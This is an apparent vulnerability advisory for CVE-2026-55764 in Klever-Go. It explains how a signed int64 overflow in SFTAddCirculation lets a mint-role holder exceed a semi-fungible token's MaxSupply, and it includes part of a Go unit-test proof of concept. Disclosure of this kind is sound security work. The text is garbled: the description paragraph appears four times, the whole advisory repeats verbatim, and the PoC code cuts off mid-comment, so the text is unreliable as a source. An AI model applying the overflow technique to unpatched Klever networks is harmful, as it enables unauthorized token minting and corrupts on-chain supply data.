CVE-2026-55764

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

• core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
• Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

package systemAccount

import (
	"math"
	"testing"

	"github.com/klever-io/klever-go/common"
	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/kapps"
	"github.com/klever-io/klever-go/tools/marshal"
	"github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
	t.Helper()

	marshalizer := &marshal.ProtoMarshalizer{}
	store := make(map[string][]byte)

	tracker := &commonMock.DataTrieTrackerStub{
		RetrieveValueCalled: func(key []byte) ([]byte, error) {
			return store[string(key)], nil
		},
		SaveKeyValueCalled: func(key []byte, value []byte) error {
			store[string(key)] = value
			return nil
		},
	}

	kappAccount := &commonMock.KAppAccountHandlerStub{
		DataTrieTrackerCalled: func() state.DataTrieTracker {
			return tracker
		},
	}

	s := &systemAccountKApp{marshalizer: marshalizer}
	require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
		LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
			return kappAccount, nil
		},
	}))

	return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
	t.Helper()
	meta, err := s.SFTGetMeta(asset, nonce)
	require.NoError(t, err)
	require.NotNil(t, meta)
	return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
	asset := []byte("SFTASSET")
	nonce := []byte{0x01}

	const maxSupply = int64(1000)
	const startCirculation = int64(5)
	// amount is a raw int64 from the contract with no upstream upper bound; the
	// largest value it can carry is MaxInt64. With Circulation already at 5,
	// 5 +…

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue <= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.

Summary

On the SFT add-quantity path the only supply bound is SFTAddCirculation, which does meta.Circulation += amount with no overflow guard, then checks if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~MaxInt64 tokens in one transaction. The fungible mint path is not vulnerable — it has a post-increment MintedValue <= 0 guard that the SFT path lacks.

Affected code

• core/kapp/systemAccount/systemAcount.go:132-138 (SFTAddCirculation, the unguarded +=).
• Caller: core/kapp/kda/mint.go:247-283 (processSemiFungibleAddQuantity); contrast guard mint.go:289.

Impact

A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit, and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).

Reachability

Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the contract with no upstream upper bound.

Proof of concept

Unit test

TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seeds Circulation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected with ErrMaxSupplyExceeded and does not persist — isolating the unguarded += overflow as the bypass.

<details><summary>Full Go PoC (<code>systemAccount</code> package, passes = bug confirmed)</summary>

package systemAccount

import (
	"math"
	"testing"

	"github.com/klever-io/klever-go/common"
	commonMock "github.com/klever-io/klever-go/common/mock"
	"github.com/klever-io/klever-go/data/state"
	"github.com/klever-io/klever-go/kapps"
	"github.com/klever-io/klever-go/tools/marshal"
	"github.com/stretchr/testify/require"
)

func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
	t.Helper()

	marshalizer := &marshal.ProtoMarshalizer{}
	store := make(map[string][]byte)

	tracker := &commonMock.DataTrieTrackerStub{
		RetrieveValueCalled: func(key []byte) ([]byte, error) {
			return store[string(key)], nil
		},
		SaveKeyValueCalled: func(key []byte, value []byte) error {
			store[string(key)] = value
			return nil
		},
	}

	kappAccount := &commonMock.KAppAccountHandlerStub{
		DataTrieTrackerCalled: func() state.DataTrieTracker {
			return tracker
		},
	}

	s := &systemAccountKApp{marshalizer: marshalizer}
	require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
		LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
			return kappAccount, nil
		},
	}))

	return s, store
}

func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
	t.Helper()
	meta, err := s.SFTGetMeta(asset, nonce)
	require.NoError(t, err)
	require.NotNil(t, meta)
	return meta
}

// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
	asset := []byte("SFTASSET")
	nonce := []byte{0x01}

	const maxSupply = int64(1000)
	const startCirculation = int64(5)
	// amount is a raw int64 from the contract with no upstream upper bound; the
	// largest value it can carry is MaxInt64. With Circulation already at 5,
	// 5 +…